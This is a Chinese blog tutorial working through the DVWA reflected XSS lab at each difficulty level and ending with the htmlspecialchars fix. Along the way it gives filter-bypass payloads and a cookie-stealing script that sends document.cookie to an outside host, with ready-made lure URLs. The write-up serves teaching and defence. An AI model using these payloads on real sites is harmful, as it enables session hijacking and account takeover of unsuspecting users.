zoukankan      html  css  js  c++  java
  • DVWA 黑客攻防演练(十)反射型 XSS 攻击 Reflected Cross Site Scripting

    XSS (Cross-site scripting) 攻击,为和 CSS 有所区分,所以叫 XSS。又是一种防不胜防的攻击,应该算是一种 “HTML注入攻击”,原本开发者想的是显示数据,然而攻击者输入却是有破坏性的代码,而且能被解析执行。Symantec在2007年报告更是指出跨站脚本漏洞大概占所有网站漏洞的84%。

    XSS 大致分成三种类型(白帽子讲web安全):

    • 反射型,就是本文的内容。
    • 存储型,在这篇文章会介绍。
    • DOM 型,如果用是否会存储在服务器上区分的话,DOM型也是反射型。但比较特殊,一般会单独拿出来讨论的,在这里会讨论到

    低级

    功能很简单,显示就是输入框输入的东西 比如:输入 World 就能显示 Hello World。 此时 Hacker 尝试输入 <script>alert(1)</script>

    这是因为,php 输出已经变成了,'<pre>Hello <script>alert(1)</script></pre>' 然后输出到页面时,直接运行 <script>alert(1)</script> 这就是 XSS,原本这个地方应该是输入数据的,但是却变成运行代码了。 接下来 hacker 再作尝试,它写了这样一个文件 a.com/test.js

    var img = document.createElement("img")
    img.src = "http://www.a.com/?cookies="+escape(document.cookie);
    document.body.appendChild(img);
    

    而对应www.a.com/index.php的代码是这样,目的是记录发送过来的 cookies

    <?php
    $c = $_GET["cookies"];
    echo $c;
    error_log($c ."". "
    ",3,"/var/log/a/cookies");
    ?>
    

    然后再在输出框中输入 <script src="//www.a.com/test.js"></script>
    。。。
    就会直接将你的 cookies 直接发送到 a.com
    有了你的 cookies 就为所欲为了,改密码什么的。 现在只需诱导用户(发邮件之类的)点击这样的连接就Ok了 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<script+src%3D"%2F%2Fwww.a.com%2Ftest.js"><%2Fscript>#

    比如:

    中级

    中级代码意识到会有人使用 script 的注入方式,于是就想将 script 标签去掉

    <?php 
    
    header ("X-XSS-Protection: 0"); 
    
    // Is there any input? 
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
        // Get input 
        $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 
    
        // Feedback for end user 
        echo "<pre>Hello ${name}</pre>"; 
    } 
    
    ?> 
    

    而 Hacker 输入的是 <Script src="//www.a.com/test.js"></Script>
    。。。还是被注入了。
    还可以输入 <scr<script>ipt src="//www.a.com/test.js"></script> 之类

    高级

    高级代码,使用 preg_replace 函数,无论 script 大小写如何变化也会删除

    <?php 
    
    header ("X-XSS-Protection: 0"); 
    
    // Is there any input? 
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
        // Get input 
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 
    
        // Feedback for end user 
        echo "<pre>Hello ${name}</pre>"; 
    } 
    
    ?> 
    

    所以可以采用不使用 script 的方式。

    比如利用 img 的 onerror 函数 ,意思是说,如果图片的地址是错误的,就执行alert(1)
    但如果直接在 onerror 函数中写注入的代码又很有可能被那个正则表达式替换掉的。

    所以要通过其他方式绕过这个正则替换,比如利用 location.hash

    这是什么东西?

    url 中 # 号后面的东西,比如 https://www.zhihu.com/topic#Linux 的 location.hash 就是 #Linux ,前端框架一般会用来做单页面路由。这个东西没有长度限制而且不会被传到后台的

    所以,可以这样,<img src=x onerror="eval(unescape(location.hash.substr(1)))"> 而在构造 url 就可以放心把代码放在 #号后面了。

    所以点击下面连接就会偷掉你的cookies了(要复制黏贴)

    http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img src=x onerror="eval(unescape(location.hash.substr(1)))%22%3E#var%20img%20=%20document.createElement('img');img.src='http://www.a.com/?cookies='+escape(document.cookie);document.body.appendChild(img)

    不可能

    不可能级别添加了 anti-token 防御机制,和htmlseecialchars函数来防御

    <?php 
    
    // Is there any input? 
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
        // Get input 
        $name = htmlspecialchars( $_GET[ 'name' ] ); 
    
        // Feedback for end user 
        echo "<pre>Hello ${name}</pre>"; 
    } 
    
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    
    ?> 
    

    htmlseecialchars 函数作用是什么?来探讨一下

    输入上一级的注入语句

    看 dom 的元素,也看不出什么

    再看看请求返回的什么

    看到了吗,那个函数将 < " 等符号转义了

  • 相关阅读:
    MIne FirstBlog
    P6563 [SBCOI2020]一直在你身旁
    P6563 [SBCOI2020]一直在你身旁
    T122085 [SBCOI2020]时光的流逝
    LC 918. Maximum Sum Circular Subarray
    1026 Table Tennis
    LC 1442. Count Triplets That Can Form Two Arrays of Equal XOR
    LC 1316. Distinct Echo Substrings
    LC 493. Reverse Pairs
    1029 Median (二分)
  • 原文地址:https://www.cnblogs.com/jojo-feed/p/10174762.html
Copyright © 2011-2022 走看看